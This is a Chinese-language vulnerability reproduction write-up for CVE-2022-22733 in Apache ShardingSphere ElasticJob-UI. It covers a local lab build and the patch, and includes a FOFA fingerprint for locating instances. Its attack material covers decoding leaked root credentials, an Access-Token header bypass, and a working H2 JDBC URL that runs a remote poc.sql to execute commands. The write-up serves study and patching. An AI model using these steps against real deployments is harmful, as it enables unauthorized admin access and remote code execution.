Apache ShardingSphere ElasticJob-UI 漏洞复现

温馨提示:点击页面下方以展开或折叠目录~

Apache ShardingSphere ElasticJob-UI 漏洞复现

编号:CVE-2022-22733

参考文章:https://cn-sec.com/archives/750814.htmlhttps://mp.weixin.qq.com/s/g7yOHp_T4JssCeM9snJusA

fofa指纹:app=”ShardingSphere-ElasticJob-UI”

0x00 环境搭建

我的环境搭建方式和参考文章不一样,参考文章疑似将前后端分别搭建,我是用了官网的构建方法

官网历史版本:https://archive.apache.org/dist/shardingsphere/

源码下载地址:https://archive.apache.org/dist/shardingsphere/elasticjob-ui-3.0.0/apache-shardingsphere-elasticjob-3.0.0-ui-src.zip

中文文档:https://github.com/apache/shardingsphere-elasticjob-ui/blob/master/README_ZH.md

环境:jdk8+maven

下载源码后idea打开整个源码文件夹

FIle >> Project >> 选择jdk1.8 和 java 8的语言等级

image-20220208154012778

命令行用maven构建项目mvn clean package -Prelease

image-20220208154146474

这里可能出现的报错

  1. 程序包javax.xml.bind.annotation不存在

    jdk11的问题,需要使用jdk8

  2. Error: Could not create the Java Virtual Machine. Error: ...

    环境变量可能没改,idea里需要改为jdk1.8

  3. Unrecognized option: --add-opens=jdk.compiler/com.sun.tools.javac.code=ALL-U

    语言等级也要改为8

  4. Fatal error compiling: java.lang.ExceptionInInitializerError: com.sun.tools.

    lombok版本和本地jdk不兼容,需要去 官网 找个最新的,然后修改根目录的pom.xml依赖

    1
    2
    3
    4
    5
    <properties>
    ...
    <lombok.version>1.18.22</lombok.version>
    ...
    </properties>

构建完成,idea里直接运行apache-shardingsphere-elasticjob-3.0.0-ui-src\shardingsphere-elasticjob-lite-ui\shardingsphere-elasticjob-lite-ui-backend\src\main\java\org\apache\shardingsphere\elasticjob\lite\ui\Bootstrap.java

image-20220208154838480

可以看到跑在8088端口,直接访问localhost:8088即可

image-20220208154958504

0x01 漏洞复现

权限提升

  • 未授权的guest账号可提权,获取root账号

debug模式跑项目,在shardingsphere-elasticjob-lite-ui\shardingsphere-elasticjob-lite-ui-backend\src\main\java\org\apache\shardingsphere\elasticjob\lite\ui\security\AuthenticationFilter.java处第57行打断点,访问localhost:8088

利用普通账户guest/guest登录,可以发现进入了拦截器,若有接受到请求,则调用handleLogin(),在82行处,调用了security.UserAuthenticationService#getToken获取token

image-20220208165147562

ecurity.UserAuthenticationService#getToken中可以发现他把root和guest的账密都json格式化后base64编码返回到handleLogin()

image-20220208170838572

burp截包看一眼

image-20220208171400818

可以看到返回包中有上面base64编码的内容,写一个脚本解码,python、java均可,但是java要注意不能用java.util.base的包,否则会报错Illegal base64 character 5c

1
2
3
4
# python3
import base64
token=""
print(base64.b64decode(token))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// java
import org.apache.commons.codec.binary.Base64;

public class base {
public static void main(String[] args) {
Base64 base64 = new Base64();
String token = "";
byte[] decodeToken = base64.decode(token);

System.out.println(new String(decodeToken));
}
}
// maven引入
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>

得到管理员权限账号密码

image-20220208191500881

调用栈

1
2
3
org.apache.shardingsphere.elasticjob.lite.ui.security.AuthenticationFilter#doFilter
=> security.AuthenticationFilter#handleLogin
=> security.UserAuthenticationService#getToken

方法二:不用解码那串base64

security.AuthenticationFilter#doFilter处的条件分支可以看到,若访问的url不为/api/login,则会看有没有Access-Token,因此我们可以直接添加一个请求头Access-Token为那串base64编码即可实现认证绕过

image-20220208195651762

命令执行

在权限提升部分获得root权限(解码账密登录或者使用Access-Token直接进入)后,在Event trace data source点击ADD,会弹出一个Add a data source弹窗,各项参数填写如下

1
2
3
4
5
Name: test
Driver: org.h2.Driver
Url: jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
Username: test
Password: test

其中url使用的是阿里云团队在2021 HITB上演讲的议题:Make JDBC Attacks Brilliant Again 他是一种通过H2数据库getshell的方法,执行的脚本poc.sql

1
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "Q";}';CALL EXEC ('calc')

随便新建一个文件夹,在文件夹里面新建poc.sql,然后命令行执行python3 -m http.server开启一个服务,即可通过http://127.0.0.1:8000/poc.sql 获取到脚本

点击Test connect,即可命令执行

image-20220209101055809

0x02 修复方式

org.apache.shardingsphere.elasticjob.lite.ui.security.AuthenticationFilter#handleLogin处对userAuthenticationService.getToken()做了修改,不再返回所有信息,而只是返回了authenticationResult.getUsername(), authenticationResult.isGuest()两项,防止攻击者获取到root权限的token

image-20220209104812234